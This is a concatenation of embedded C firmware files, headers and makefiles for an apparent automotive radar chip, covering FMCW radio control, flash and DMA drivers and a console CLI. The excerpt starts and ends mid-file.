"\tChip reset. \n\r"
"\tUsage: chip_reset \n\r",
chip_reset_command_handler,
-1
};
static BaseType_t chip_reset_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
chip_reset();
return pdFALSE;
}
void common_cmd_init(void)
{
if (common_cli_registered)
return;
FreeRTOS_CLIRegisterCommand(&fw_ver_cmd);
FreeRTOS_CLIRegisterCommand(&mem_dump_command);
FreeRTOS_CLIRegisterCommand(&chip_reset_command);
common_cli_registered = true;
return;
}
<file_sep>CONSOLE_ROOT = $(CALTERAH_COMMON_ROOT)/console
CONSOLE_CSRCDIR += $(CONSOLE_ROOT)
# find all the source files in the target directories
CONSOLE_CSRCS = $(call get_csrcs, $(CONSOLE_CSRCDIR))
CONSOLE_ASMSRCS = $(call get_asmsrcs, $(CONSOLE_ASMSRCDIR))
# get object files
CONSOLE_COBJS = $(call get_relobjs, $(CONSOLE_CSRCS))
CONSOLE_ASMOBJS = $(call get_relobjs, $(CONSOLE_ASMSRCS))
CONSOLE_OBJS = $(CONSOLE_COBJS) $(CONSOLE_ASMOBJS)
# get dependency files
CONSOLE_DEPS = $(call get_deps, $(CONSOLE_OBJS))
# genearte library
CONSOLE_LIB = $(OUT_DIR)/lib_console.a
COMMON_COMPILE_PREREQUISITES += $(CONSOLE_ROOT)/console.mk
# library generation rule
$(CONSOLE_LIB): $(CONSOLE_OBJS)
$(TRACE_ARCHIVE)
$(Q)$(AR) $(AR_OPT) $@ $(CONSOLE_OBJS)
# specific compile rules
# user can add rules to compile this library
# if not rules specified to this library, it will use default compiling rules
.SECONDEXPANSION:
$(CONSOLE_COBJS): $(OUT_DIR)/%.o : %.c $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(COMPILE_OPT) $< -o $@
.SECONDEXPANSION:
$(CONSOLE_ASMOBJS): $(OUT_DIR)/%.o : %.s $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(ASM_OPT) $< -o $@
CALTERAH_COMMON_CSRC += $(CONSOLE_CSRCS)
CALTERAH_COMMON_ASMSRCS += $(CONSOLE_ASMSRCS)
CALTERAH_COMMON_COBJS += $(CONSOLE_COBJS)
CALTERAH_COMMON_ASMOBJS += $(CONSOLE_ASMOBJS)
CALTERAH_COMMON_LIBS += $(CONSOLE_LIB)
CALTERAH_INC_DIR += $(CONSOLE_CSRCDIR)
<file_sep>#ifndef _DW_TIMER_REG_H_
#define _DW_TIMER_REG_H_
#define DW_TIMER_N_REG_LOADCOUNT_OFFSET(n) ( (n) * 0x14 )
#define DW_TIMER_N_REG_CURCOUNT_OFFSET(n) ( ((n) * 0x14) + 0x4 )
#define DW_TIMER_N_REG_CONTROL_OFFSET(n) ( ((n) * 0x14) + 0x8 )
#define DW_TIMER_N_REG_NEOI_OFFSET(n) ( ((n) * 0x14) + 0xC )
#define DW_TIMER_N_REG_INT_STS_OFFSET(n) ( ((n) * 0x14) + 0x10 )
#define DW_TIMER_REG_INT_STS_OFFSET (0xA0)
#define DW_TIMER_REG_EOI_OFFSET (0xA4)
#define DW_TIMER_REG_RAW_INT_STS_OFFSET (0xA8)
#define DW_TIMER_REG_VERSION_OFFSET (0xAC)
#define DW_TIMER_N_REG_LOADCOUNT2_OFFSET(n) ( ((n) * 0x4) + 0xB0 )
#define DW_TIMER_N_REG_PROT_LEVEL_OFFSET(n) ( ((n) * 0x4) + 0xD0 )
/* control reg bits field define. */
#define DW_TIMER_BIT_0N100PWM_EN (1 << 4)
#define DW_TIMER_BIT_PWM_EN (1 << 3)
#define DW_TIMER_BIT_INT_MASK (1 << 2)
#define DW_TIMER_BIT_MODE (1 << 1)
#define DW_TIMER_BIT_EN (1 << 0)
#endif
<file_sep>#ifndef _CONFIG_H_
#define _CONFIG_H_
#include "flash_mmap.h"
/* QSPI Frame Format.
* 0->std, 1->dual, 2->quad, 3->octal. */
#define CONFIG_QSPI_FF 0
/* QSPI Baud Rate(bps). */
#define CONFIG_QSPI_BAUD 10000000
/* XIP config: */
/* XIP endian, 0->little, 1->big? */
#define CONFIG_XIP_RD_ENDIAN 0
#define CONFIG_XIP_WR_ENDIAN 0
/* XIP buffer length(word),
* 0->16, 1->32, 2->64, 3->128, 4->256, 5->512. */
#define CONFIG_XIP_INS_BUF_LEN 1
#define CONFIG_XIP_RD_BUF_LEN 1
#define CONFIG_XIP_WR_BUF_LEN 4
/* XIP section offset. */
#define CONFIG_XIP_INS_OFFSET FLASH_HEADER_BASE
#define CONFIG_XIP_DATA_OFFSET FLASH_HEADER_BASE
/* AES config: */
#define CONFIG_AES_VLD_BLK_CNT 4
#define CONFIG_AES_LAST_BLK_SIZE 0x80
/* security: byte. */
#define CONFIG_SEC_DBG_CERT_LEN 16
#endif
<file_sep>/* pin table for AlpsMP. */
{"SPI_M1", SPI_M1, IO_MUX_FUNC0, REG_DMU_MUX_SPI_M1_OFFSET},
{"SPI_S1_CLK", SPI_S1, IO_MUX_FUNC0, REG_DMU_MUX_SPI_S1_CLK_OFFSET},
{"SPI_S1_SEL", SPI_S1, IO_MUX_FUNC0, REG_DMU_MUX_SPI_S1_SEL_OFFSET},
{"SPI_S1_MOSI", SPI_S1, IO_MUX_FUNC0, REG_DMU_MUX_SPI_S1_MOSI_OFFSET},
{"SPI_S1_MISO", SPI_S1, IO_MUX_FUNC0, REG_DMU_MUX_SPI_S1_MISO_OFFSET},
{"UART0", UART0, IO_MUX_FUNC0, REG_DMU_MUX_UART0_OFFSET},
{"UART1", UART1, IO_MUX_FUNC0, REG_DMU_MUX_UART1_OFFSET},
{"CAN0", CAN0, IO_MUX_FUNC0, REG_DMU_MUX_CAN0_OFFSET},
{"CAN1", CAN1, IO_MUX_FUNC0, REG_DMU_MUX_CAN1_OFFSET},
{"RESET", 0xFF, IO_MUX_FUNC0, REG_DMU_MUX_RESET_OFFSET},
{"SYNC", 0xFF, IO_MUX_FUNC0, REG_DMU_MUX_SYNC_OFFSET},
{"I2C", I2C, IO_MUX_FUNC4, REG_DMU_MUX_I2C_OFFSET},
{"PWM0", PWM, IO_MUX_FUNC4, REG_DMU_MUX_PWM0_OFFSET},
{"PWM1", PWM, IO_MUX_FUNC4, REG_DMU_MUX_PWM1_OFFSET},
{"ADC_CLK", 0xFF, IO_MUX_FUNC0, REG_DMU_MUX_ADC_CLK_OFFSET},
{"CAN_CLK", 0xFF, IO_MUX_FUNC0, REG_DMU_MUX_CAN_CLK_OFFSET},
{"SPI_M0", SPI_M0, IO_MUX_FUNC4, REG_DMU_MUX_SPI_M0_OFFSET},
{"SPI_S", SPI_S, IO_MUX_FUNC0, REG_DMU_MUX_SPI_S_OFFSET},
{"JTAG", 0xFF, IO_MUX_FUNC0, REG_DMU_MUX_JTAG_OFFSET}
<file_sep>#include "CuTest.h"
#include "fft_window.h"
void test_fft_window(CuTest *tc)
{
int len = 1000;
gen_window("cheb", len, 80, 0, 0);
uint32_t v = get_win_coeff(len/2);
CuAssertIntEquals(tc, 0x3FFF, v);
}
CuSuite* fft_window_get_suite() {
CuSuite* suite = CuSuiteNew();
SUITE_ADD_TEST(suite, test_fft_window);
return suite;
}
<file_sep>#ifndef _DEVICE_H_
#define _DEVICE_H_
#define EXT_FLASH_REGION_CNT_MAX (4)
typedef enum external_nor_flash_status {
FLASH_WIP = 0,
FLASH_WEL,
FLASH_BP,
FLASH_BP0 = FLASH_BP,
FLASH_BP1,
FLASH_BP2,
FLASH_E_ERR,
FLASH_P_ERR,
FLASH_STSR_WD,
FLASH_P_SUSPEND,
FLASH_E_SUSPEND,
FLASH_INVALID_STS
} flash_sts_t;
typedef struct flash_region_description {
uint32_t base;
uint32_t size;
uint32_t sector_size;
uint32_t sec_erase_ins;
uint32_t erase_type_mask;
} flash_region_t;
#define DEF_FLASH_REGION(r_base, r_size, sec_size, sec_e_ins) {\
.base = (r_base), .size = (r_size),\
.sector_size = (sec_size), .sec_erase_ins = (sec_e_ins)\
}
typedef struct flash_device_operation {
int32_t (*quad_entry)(dw_ssi_t *dw_ssi);
int32_t (*quad_exit)(dw_ssi_t *dw_ssi);
int32_t (*qpi_entry)(dw_ssi_t *dw_ssi);
int32_t (*qpi_exit)(dw_ssi_t *dw_ssi);
int32_t (*status)(dw_ssi_t *dw_ssi, uint32_t sts_type);
} flash_dev_ops_t;
typedef struct flash_device {
uint32_t total_size;
uint32_t page_size;
flash_region_t m_region[EXT_FLASH_REGION_CNT_MAX];
flash_dev_ops_t *ops;
} flash_device_t;
typedef struct flash_xip_parameters {
uint32_t rd_sts_cmd;
uint32_t rd_cmd;
uint32_t wr_en_cmd;
uint32_t program_cmd;
uint32_t suspend_cmd;
uint32_t resume_cmd;
uint32_t wip_pos;
uint32_t xsb;
uint32_t suspend_wait;
} xip_param_t;
static inline uint32_t flash_dev_find_region(flash_region_t *region, uint32_t addr)
{
uint32_t i;
for (i = 0; i < EXT_FLASH_REGION_CNT_MAX; i++) {
if ((addr >= region[i].base) && \
(addr < (region[i].base + region[i].size))) {
break;
}
}
return i;
}
static inline void flash_region_fill(flash_region_t *region, \
uint32_t base, uint32_t size, uint32_t sec_size, uint32_t sec_e_ins)
{
region->base = base;
region->size = size;
region->sector_size = sec_size;
region->sec_erase_ins = sec_e_ins;
}
flash_device_t *get_flash_device(dw_ssi_t *dw_ssi);
xip_param_t *flash_xip_param_get(void);
#endif
<file_sep>#ifndef _CFI_H_
#define _CFI_H_
#include "embARC_toolchain.h"
#define CFI_QUERY_CMD (0x98)
#define CFI_QUERY_ADDR (0x55)
/* cfi query identification string. */
#define CFI_QUERY_ID_STRING_ADDR (0x10)
#define CFI_QUERY_ID_STRING "QRY"
#define CFI_QUERY_ID_STRING_FIELD_LEN (11)
typedef struct cfi_query_identification {
char unique_str[3];
uint8_t primary_algorithm[4];
uint8_t alternative_algorithm[4];
} cfi_query_id_t;
/* cfi query system interface information. */
#define CFI_QUERY_SYS_IF_INFO_ADDR (0x1B)
#define CFI_QUERY_SYS_IF_INFO_LEN (12)
typedef struct cfi_query_sys_if_info {
uint8_t pew_vcc_min;
uint8_t pew_vcc_max;
uint8_t pe_vpp_min;
uint8_t pe_vpp_max;
uint8_t single_program_timeout;
uint8_t multi_program_timeout;
uint8_t ind_block_erase_timeout;
uint8_t chip_erase_timeout;
uint8_t single_program_max_timeout;
uint8_t multi_program_max_timeout;
uint8_t ind_block_erase_max_timeout;
uint8_t chip_erase_max_timeout;
} cfi_sys_if_info_t;
/* cfi query device geometry definition. */
#define CFI_DEV_GEOMETRY_DEF_OFFSET (0x27)
#define CFI_DEV_GEOMETRY_DEF_LEN (14)
#define CFI_ERASE_BLOCK_REGION_OFFSET (0x2D)
typedef struct cfi_device_geometry_definition {
uint8_t device_size;
uint8_t device_if_code[2];
uint8_t max_program_size[2];
uint8_t num_erase_block_region;
uint8_t erase_block_region_info[4];
} cfi_device_geometry_t;
int32_t flash_cfi_detect(dw_ssi_t *dw_ssi);
int32_t flash_cfi_param_read(dw_ssi_t *dw_ssi, flash_device_t *device);
#endif
<file_sep>#ifndef _CAN_CLI_H_
#define _CAN_CLI_H_
typedef int32_t (*can_cli_callback)(uint8_t *data, uint32_t len);
int32_t can_cli_init(void);
int32_t can_cli_register(uint32_t msg_id, can_cli_callback func);
#endif
<file_sep>#ifndef _DW_TIMER_OBJ_H_
#define _DW_TIMER_OBJ_H_
#ifdef __cplusplus
extern "C" {
#endif
void *timer_get_dev(void);
void *pwm_get_dev(void);
#ifdef __cplusplus
}
#endif
#endif /* _DW_GPIO_OBJ_H_*/
<file_sep>#ifndef _FLASH_MMAP_H_
#define _FLASH_MMAP_H_
/* the memory mapping address for flash */
#define FLASH_MMAP_FIRMWARE_BASE (0x300000)
/* flash address */
#define FLASH_HEADER_BASE (0x000000)
#define FLASH_DBG_CERT_BASE (0x004000)
#define FLASH_HEADER_BK_BASE (0x008000)
#define FLASH_ANTENNA_INFO_BASE (0x010000)
#define FLASH_BOOT_BASE (0x020000)
#define FLASH_FIRMWARE_BASE (0x030000)
#define FLASH_ANGLE_CALIBRATION_INFO_BASE (FLASH_FIRMWARE_BASE+0x100000) //ensure firmware space 1MB
#endif
<file_sep># Calterah Top Makefile
# Directories
CALTERAH_ROOT ?= ../
EMBARC_ROOT ?= ../../embarc_osp
# Application name
APPL ?= boot
override APPL := $(strip $(APPL))
# Selected Toolchain
TOOLCHAIN ?= gnu
APPLS_ROOT = ./
ifeq ($(TOOLCHAIN),gnu)
COMPILE_OPT += -Wall -Wno-unused-function -Wno-format
endif
SUPPORTED_APPLS = $(basename $(notdir $(wildcard $(APPLS_ROOT)/*/*.mk)))
## Set Valid APPL
check_item_exist_tmp = $(strip $(if $(filter 1, $(words $(1))),$(filter $(1), $(sort $(2))),))
VALID_APPL = $(call check_item_exist_tmp, $(APPL), $(SUPPORTED_APPLS))
## Test if APPL is valid
ifeq ($(VALID_APPL), )
$(info APPL - $(SUPPORTED_APPLS) are supported)
$(error APPL $(APPL) is not supported, please check it!)
endif
## build directory
OUT_DIR_ROOT ?= .
# include current project makefile
COMMON_COMPILE_PREREQUISITES += makefile
include $(APPLS_ROOT)/$(APPL)/$(APPL).mk
<file_sep>#ifndef RADIO_CTRL_H
#define RADIO_CTRL_H
#ifdef UNIT_TEST
#include "calterah_unit_test.h"
#else
#include "embARC_toolchain.h"
#endif
#include "fmcw_radio.h"
typedef enum {
CH_ALL = -1,
CH0 = 0,
CH1 = 1,
CH2 = 2,
CH3 = 3,
} CHANNEL_INDEX_t;
typedef enum{
TX_POWER_INDEX0 = 0,
TX_POWER_INDEX1 = 1,
TX_POWER_INDEX2 = 2,
TX_POWER_INDEX3 = 3,
} TX_POWER_t;
#define TX_POWER_DEFAULT 0xAA
#define TX_POWER_MAX 0xFF
#define TX_POWER_MAX_SUB5 0x88
#define TX_POWER_MAX_SUB10 0x00
// Higher byte for IDAC Sign and IDAC Amplitude, lower byte for QDAC Sign and QDAC Amplitude
#if defined(CHIP_ALPS_MP)
#define TX_PHASE_0 0x0f0fu
#define TX_PHASE_45 0x000fu
#define TX_PHASE_90 0x1f0fu
#define TX_PHASE_135 0x1f00u
#define TX_PHASE_180 0x1f1fu
#define TX_PHASE_225 0x001fu
#define TX_PHASE_270 0x0f1fu
#define TX_PHASE_315 0x0f00u
#else //CHIP_ALPS_A, CHIP_ALPS_B
#define TX_PHASE_0 0x1f10u
#define TX_PHASE_22_5 0x1d16u
#define TX_PHASE_45 0x1b1au
#define TX_PHASE_67_5 0x171cu
#define TX_PHASE_90 0x011eu
#define TX_PHASE_112_5 0x071cu
#define TX_PHASE_135 0x0b1au
#define TX_PHASE_157_5 0x0d16u
#define TX_PHASE_180 0x0f00u
#define TX_PHASE_202_5 0x0d06u
#define TX_PHASE_225 0x0b0au
#define TX_PHASE_247_5 0x070cu
#define TX_PHASE_270 0x110eu
#define TX_PHASE_292_5 0x170cu
#define TX_PHASE_315 0x1b0au
#define TX_PHASE_337_5 0x1d06u
#endif
#define AUXADC1_MainBG_VPTAT 0x00
#define AUXADC1_TestMUXN 0x01
#define AUXADC1_TestMUXP 0x10
#define AUXADC1_TPANA1 0x11
#define AUXADC2_TS_VPTAT 0x00
#define AUXADC2_TS_VBG 0x01
#define AUXADC2_TestMUXN 0x10
#define AUXADC2_TPANA2 0x11
#define RADIO_WRITE_BANK_REG(bk, addr, val) fmcw_radio_reg_write(NULL, RADIO_BK##bk##_##addr, val)
#define RADIO_WRITE_BANK_CH_REG(bk, ch, addr, val) fmcw_radio_reg_write(NULL, \
(ch == 0) ? RADIO_BK##bk##_CH0_##addr : \
(ch == 1) ? RADIO_BK##bk##_CH1_##addr : \
(ch == 2) ? RADIO_BK##bk##_CH2_##addr : \
RADIO_BK##bk##_CH3_##addr, \
val)
#define RADIO_MOD_BANK_FWCW_TX_REG(bk, tx, addr, field, val) \
fmcw_radio_reg_mod(NULL, \
(tx == 0) ? RADIO_BK##bk##_FMCW_TX0_##addr : \
(tx == 1) ? RADIO_BK##bk##_FMCW_TX1_##addr : \
(tx == 2) ? RADIO_BK##bk##_FMCW_TX2_##addr : \
RADIO_BK##bk##_FMCW_TX3_##addr, \
(tx == 0) ? RADIO_BK##bk##_FMCW_TX0_##addr##_##field##_SHIFT : \
(tx == 1) ? RADIO_BK##bk##_FMCW_TX1_##addr##_##field##_SHIFT : \
(tx == 2) ? RADIO_BK##bk##_FMCW_TX2_##addr##_##field##_SHIFT : \
RADIO_BK##bk##_FMCW_TX3_##addr##_##field##_SHIFT, \
(tx == 0) ? RADIO_BK##bk##_FMCW_TX0_##addr##_##field##_MASK : \
(tx == 1) ? RADIO_BK##bk##_FMCW_TX1_##addr##_##field##_MASK : \
(tx == 2) ? RADIO_BK##bk##_FMCW_TX2_##addr##_##field##_MASK : \
RADIO_BK##bk##_FMCW_TX3_##addr##_##field##_MASK, \
val)
#define RADIO_READ_BANK_REG(bk, addr) fmcw_radio_reg_read(NULL, RADIO_BK##bk##_##addr)
#define RADIO_READ_BANK_CH_REG(bk, ch, addr) fmcw_radio_reg_read(NULL, (ch == 0) ? RADIO_BK##bk##_CH0##_##addr : \
(ch == 1) ? RADIO_BK##bk##_CH1##_##addr : \
(ch == 2) ? RADIO_BK##bk##_CH2##_##addr : \
RADIO_BK##bk##_CH3##_##addr)
#define RADIO_MOD_BANK_REG(bk, addr, field, val) fmcw_radio_reg_mod(NULL, RADIO_BK##bk##_##addr, \
RADIO_BK##bk##_##addr##_##field##_SHIFT, \
RADIO_BK##bk##_##addr##_##field##_MASK, val)
uint32_t phase_val_2_reg_val(uint32_t phase_val);
uint32_t reg_val_2_phase_val(uint32_t reg_val);
uint32_t radio_spi_cmd_mode(uint32_t mode);
void radio_spi_cmd_write(char addr, char data);
uint32_t radio_spi_cmd_read(char addr);
char fmcw_radio_reg_read(fmcw_radio_t *radio, char addr);
char fmcw_radio_reg_read_field(fmcw_radio_t *radio, char addr, char shift, char mask);
void fmcw_radio_reg_write(fmcw_radio_t *radio, char addr, char data);
void fmcw_radio_reg_mod(fmcw_radio_t *radio, char addr, char shift, char mask, char data);
void fmcw_radio_reg_dump(fmcw_radio_t *radio);
void fmcw_radio_power_on(fmcw_radio_t *radio);
void fmcw_radio_power_off(fmcw_radio_t *radio);
uint8_t fmcw_radio_switch_bank(fmcw_radio_t *radio, uint8_t bank);
int32_t fmcw_radio_rx_buffer_on(fmcw_radio_t *radio);
int32_t fmcw_radio_ldo_on(fmcw_radio_t *radio);
int32_t fmcw_radio_refpll_on(fmcw_radio_t *radio);
int32_t fmcw_radio_pll_on(fmcw_radio_t *radio);
int32_t fmcw_radio_lo_on(fmcw_radio_t *radio, bool enable);
int32_t fmcw_radio_tx_on(fmcw_radio_t *radio);
int32_t fmcw_radio_rx_on(fmcw_radio_t *radio, bool enable);
int32_t fmcw_radio_adc_on(fmcw_radio_t *radio);
int32_t fmcw_radio_do_refpll_cal(fmcw_radio_t *radio);
int32_t fmcw_radio_do_pll_cal(fmcw_radio_t *radio, uint32_t lock_freq);
bool fmcw_radio_is_refpll_locked(fmcw_radio_t *radio);
bool fmcw_radio_is_pll_locked(fmcw_radio_t *radio);
void fmcw_radio_frame_interleave_pattern(fmcw_radio_t *radio, uint8_t frame_loop_pattern);
void fmcw_radio_frame_type_reset(fmcw_radio_t *radio);
void fmcw_radio_generate_fmcw(fmcw_radio_t *radio);
void fmcw_radio_start_fmcw(fmcw_radio_t *radio);
void fmcw_radio_stop_fmcw(fmcw_radio_t *radio);
int32_t fmcw_radio_single_tone(fmcw_radio_t *radio, double freq, bool enable);
void fmcw_radio_set_tia_gain(fmcw_radio_t *radio, int32_t channel_index, int32_t gain);
int32_t fmcw_radio_get_tia_gain(fmcw_radio_t *radio, int32_t channel_index);
void fmcw_radio_set_vga1_gain(fmcw_radio_t *radio, int32_t channel_index, int32_t gain);
int32_t fmcw_radio_get_vga1_gain(fmcw_radio_t *radio, int32_t channel_index);
void fmcw_radio_set_vga2_gain(fmcw_radio_t *radio, int32_t channel_index, char gain);
int32_t fmcw_radio_get_vga2_gain(fmcw_radio_t *radio, int32_t channel_index);
void fmcw_radio_set_tx_status(fmcw_radio_t *radio, int32_t channel_index, char status);
int32_t fmcw_radio_get_tx_status(fmcw_radio_t *radio, int32_t channel_index);
void fmcw_radio_set_tx_power(fmcw_radio_t *radio, int32_t channel_index, char power_index);
int32_t fmcw_radio_get_tx_power(fmcw_radio_t *radio, int32_t channel_index);
void fmcw_radio_set_tx_phase(fmcw_radio_t *radio, int32_t channel_index, int32_t phase_index);
int32_t fmcw_radio_get_tx_phase(fmcw_radio_t *radio, int32_t channel_index);
float fmcw_radio_get_temperature(fmcw_radio_t *radio);
void fmcw_radio_gain_compensation(fmcw_radio_t *radio);
int32_t fmcw_radio_vctrl_on(fmcw_radio_t *radio);
int32_t fmcw_radio_vctrl_off(fmcw_radio_t *radio);
void fmcw_radio_if_output_on(fmcw_radio_t *radio, int32_t channel_index);
void fmcw_radio_if_output_off(fmcw_radio_t *radio, int32_t channel_index);
void fmcw_radio_tx_ch_on(fmcw_radio_t *radio, int32_t channel_index, bool enable);
void fmcw_radio_rc_calibration(fmcw_radio_t *radio);
void fmcw_radio_adc_cmp_calibration(fmcw_radio_t *radio);
void fmcw_radio_set_hpf1(fmcw_radio_t *radio, int32_t channel_index, int32_t filter_index);
int32_t fmcw_radio_get_hpf1(fmcw_radio_t *radio, int32_t channel_index);
void fmcw_radio_set_hpf2(fmcw_radio_t *radio, int32_t channel_index, int32_t filter_index);
int32_t fmcw_radio_get_hpf2(fmcw_radio_t *radio, int32_t channel_index);
void fmcw_radio_dc_reg_cfg(fmcw_radio_t *radio, int32_t channel_index, int16_t dc_offset, bool dc_calib_print_ena);
void fmcw_radio_dac_reg_cfg_outer(fmcw_radio_t *radio);
void fmcw_radio_dac_reg_cfg_inner(fmcw_radio_t *radio, uint8_t inject_num, uint8_t out_num);
void fmcw_radio_dac_reg_restore(fmcw_radio_t *radio);
void fmcw_radio_tx_restore(fmcw_radio_t *radio);
void fmcw_radio_agc_enable(fmcw_radio_t *radio, bool enable);
void fmcw_radio_agc_setup(fmcw_radio_t *radio);
void fmcw_radio_special_mods_off(fmcw_radio_t *radio);
int32_t fmcw_radio_pll_clock_en(void);
void fmcw_radio_hp_auto_ch_on(fmcw_radio_t *radio, int32_t channel_index);
void fmcw_radio_hp_auto_ch_off(fmcw_radio_t *radio, int32_t channel_index);
void fmcw_radio_tx_auto_ch_on(fmcw_radio_t *radio, int32_t channel_index, int32_t auto_sel);
void fmcw_radio_tx_auto_ch_off(fmcw_radio_t *radio, int32_t channel_index);
void fmcw_radio_sdm_reset(fmcw_radio_t *radio);
void fmcw_radio_vam_status_save(fmcw_radio_t *radio);
void fmcw_radio_vam_disable(fmcw_radio_t *radio);
void fmcw_radio_vam_status_restore(fmcw_radio_t *radio);
void fmcw_radio_cmd_cfg(fmcw_radio_t *radio);
void fmcw_radio_frame_interleave_config(fmcw_radio_t *radio, uint32_t fil_que, uint8_t fil_prd);
void fmcw_radio_auxadc_trim(fmcw_radio_t *radio);
uint32_t fmcw_radio_rfbist_trim(fmcw_radio_t *radio);
int32_t fmcw_radio_lvds_on(fmcw_radio_t *radio, bool enable);
void fmcw_radio_clk_out_for_cascade(void);
float fmcw_radio_auxadc1_voltage(fmcw_radio_t *radio, int32_t muxin_sel);
float fmcw_radio_auxadc2_voltage(fmcw_radio_t *radio, int32_t muxin_sel);
void fmcw_radio_txphase_status(fmcw_radio_t *radio, bool save);
uint8_t* fmcw_radio_sm_ldo_monitor_IRQ(fmcw_radio_t *radio, bool fault_injection);
uint8_t fmcw_radio_sm_avdd33_monitor_IRQ(fmcw_radio_t *radio, bool fault_injection);
uint8_t fmcw_radio_sm_dvdd11_monitor_IRQ(fmcw_radio_t *radio, bool fault_injection);
uint8_t fmcw_radio_sm_bg_monitor_IRQ(fmcw_radio_t *radio, bool fault_injection);
uint8_t fmcw_radio_sm_cpu_clk_lock_det_IRQ(fmcw_radio_t *radio);
uint8_t* fmcw_radio_sm_rfpower_detector_fault_injection_IRQ(fmcw_radio_t *radio, double freq, double power_th, int32_t channel_index);
uint8_t* fmcw_radio_sm_rfpower_detector_IRQ(fmcw_radio_t *radio, double freq, int32_t channel_index);
uint8_t fmcw_radio_sm_if_loopback_IRQ(fmcw_radio_t *radio, bool fault_injection);
uint8_t fmcw_radio_sm_rf_loopback_IRQ(fmcw_radio_t *radio, bool fault_injection);
uint8_t fmcw_radio_sm_chirp_monitor_IRQ(fmcw_radio_t *radio, bool fault_injection);
uint8_t fmcw_radio_sm_over_temp_detector_IRQ(fmcw_radio_t *radio, bool fault_injection);
void fmcw_radio_pdt_reg(fmcw_radio_t *radio, int8_t pdt_type, int32_t channel_index);
double fmcw_radio_auxadc2_dout(fmcw_radio_t *radio);
double fmcw_get_pa_dout(fmcw_radio_t *radio, double cal_on, double cal_off, int32_t channel_index, double freq, double power_th);
void fmcw_radio_sm_fault_injection(fmcw_radio_t *radio);
int32_t fmcw_radio_adc_fmcwmmd_ldo_on(fmcw_radio_t *radio, bool enable);
void fmcw_radio_loop_test_en(fmcw_radio_t *radio, bool enable);
void fmcw_radio_txlobuf_on(fmcw_radio_t *radio);
void fmcw_radio_sm_ldo_monitor_setting(fmcw_radio_t *radio, bool fault_injection);
uint8_t* fmcw_radio_sm_ldo_monitor_ldo_on(fmcw_radio_t *radio, bool fault_injection);
void fmcw_radio_sm_ldo_monitor_ldo_off(fmcw_radio_t *radio, bool fault_injection, uint8_t* old_ldo);
void fmcw_radio_sm_avdd33_monitor_setting(fmcw_radio_t *radio);
void fmcw_radio_sm_avdd33_monitor_threshold(fmcw_radio_t *radio, bool fault_injection);
void fmcw_radio_sm_dvdd11_monitor_setting(fmcw_radio_t *radio);
void fmcw_radio_sm_dvdd11_monitor_threshold(fmcw_radio_t *radio, bool fault_injection);
void fmcw_radio_sm_bg_monitor_setting(fmcw_radio_t *radio);
void fmcw_radio_sm_bg_monitor_threshold(fmcw_radio_t *radio, bool fault_injection);
void fmcw_radio_sm_cpu_clk_lock_det_fault_injection(fmcw_radio_t *radio, bool fault_injection);
void fmcw_radio_sm_rfpower_detector_setting(fmcw_radio_t *radio, double freq, int32_t channel_index);
void fmcw_radio_sm_rfpower_detector_fault_injection_threshold(fmcw_radio_t *radio);
void fmcw_radio_sm_rfpower_detector_threshold(fmcw_radio_t *radio, double freq, double power_th, int32_t channel_index);
void fmcw_radio_sm_chirp_monitor_setting(fmcw_radio_t *radio);
void fmcw_radio_sm_chirp_monitor_fault_injection(fmcw_radio_t *radio, bool fault_injection);
void fmcw_radio_sm_over_temp_detector_setting(fmcw_radio_t *radio);
void fmcw_radio_sm_over_temp_detector_threshold(fmcw_radio_t *radio, bool fault_injection);
float fmcw_radio_rf_comp_code(fmcw_radio_t *radio);
uint32_t* fmcw_doppler_move(fmcw_radio_t *radio);
#define CMD_CYCLE_MARGIN 20
#define REG_L(data) (data >> 0) & 0xff
#define REG_M(data) (data >> 8) & 0xff
#define REG_H(data) (data >> 16) & 0xff
#define REG_INT(data) (data >> 24) & 0xff
#define REG_H7(data) (data >> 8) & 0x7f
#endif
<file_sep>embarc_osp is pull from github under following
commit 705ed8c98eeb081a7c9c0daa59956cdf35ae2708
Author: <NAME> <<EMAIL>>
Date: Thu Mar 1 15:51:14 2018 +0800
Besides adding *alps* directory under *board*, only following two files are modified
modified: board/board.h
modified: board/nsim/nsim.mk
The detailed diff is stored in embarc_osp/embarc_diff.
For going forward development, it is recommended to minimize change embarc_osp so that moving to newer version of embarc_osp is
easy.
<file_sep>#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "dw_dmac.h"
#include "dma_hal.h"
/* 0->raising eddge.
* 1->falling eddge.
* */
#define DW_DMAC_REQ_SIGNAL_POL (0)
typedef struct dma_driver {
void *dev_dma;
uint8_t open_flag;
/* cfg: global config for device. */
uint8_t prot_ctrl;
uint8_t fifo_mode;
uint8_t chn_cnt;
dma_channel_t *dma_chn;
} dma_drv_t;
static dma_drv_t drv_dma = {
.prot_ctrl = 0,
.fifo_mode = 0,
};
#define DMA_MEMCOPY_DEFAULT_DESC(desc) do { \
(desc)->transfer_type = MEM_TO_MEM; \
(desc)->priority = DMA_CHN_PRIOR_MAX; \
(desc)->src_desc.addr_mode = ADDRESS_INCREMENT; \
(desc)->src_desc.hw_if = 0; \
(desc)->src_desc.sts_upd_en = 0; \
(desc)->src_desc.hs = HS_SELECT_SW; \
(desc)->src_desc.sts_addr = 0; \
(desc)->dst_desc.addr_mode = ADDRESS_INCREMENT; \
(desc)->dst_desc.hw_if = 0; \
(desc)->dst_desc.sts_upd_en = 0; \
(desc)->dst_desc.hs = HS_SELECT_SW; \
(desc)->dst_desc.sts_addr = 0;\
} while(0)
static void dma_isr(void *params);
static void dma_err_isr(void *params);
int32_t dma_init(void)
{
int32_t result = E_OK;
dw_dmac_t *dev_dma = (dw_dmac_t *)dma_get_dev(0);
dw_dmac_ops_t *dma_ops = (dw_dmac_ops_t *)dev_dma->ops;
do {
uint32_t idx, chn_desc_size = 0;
if ((NULL == dev_dma) || (NULL == dev_dma->ops)) {
result = E_NOEXS;
break;
} else {
drv_dma.dev_dma = (void *)dev_dma;
}
/* alloc memory for channel manager. */
chn_desc_size = sizeof(dma_channel_t) * dev_dma->nof_chn;
drv_dma.dma_chn = (dma_channel_t *)pvPortMalloc(chn_desc_size);
if (NULL == drv_dma.dma_chn) {
result = E_SYS;
break;
} else {
drv_dma.chn_cnt = dev_dma->nof_chn;
}
for (idx = 0; idx < dev_dma->nof_chn; idx++)
{
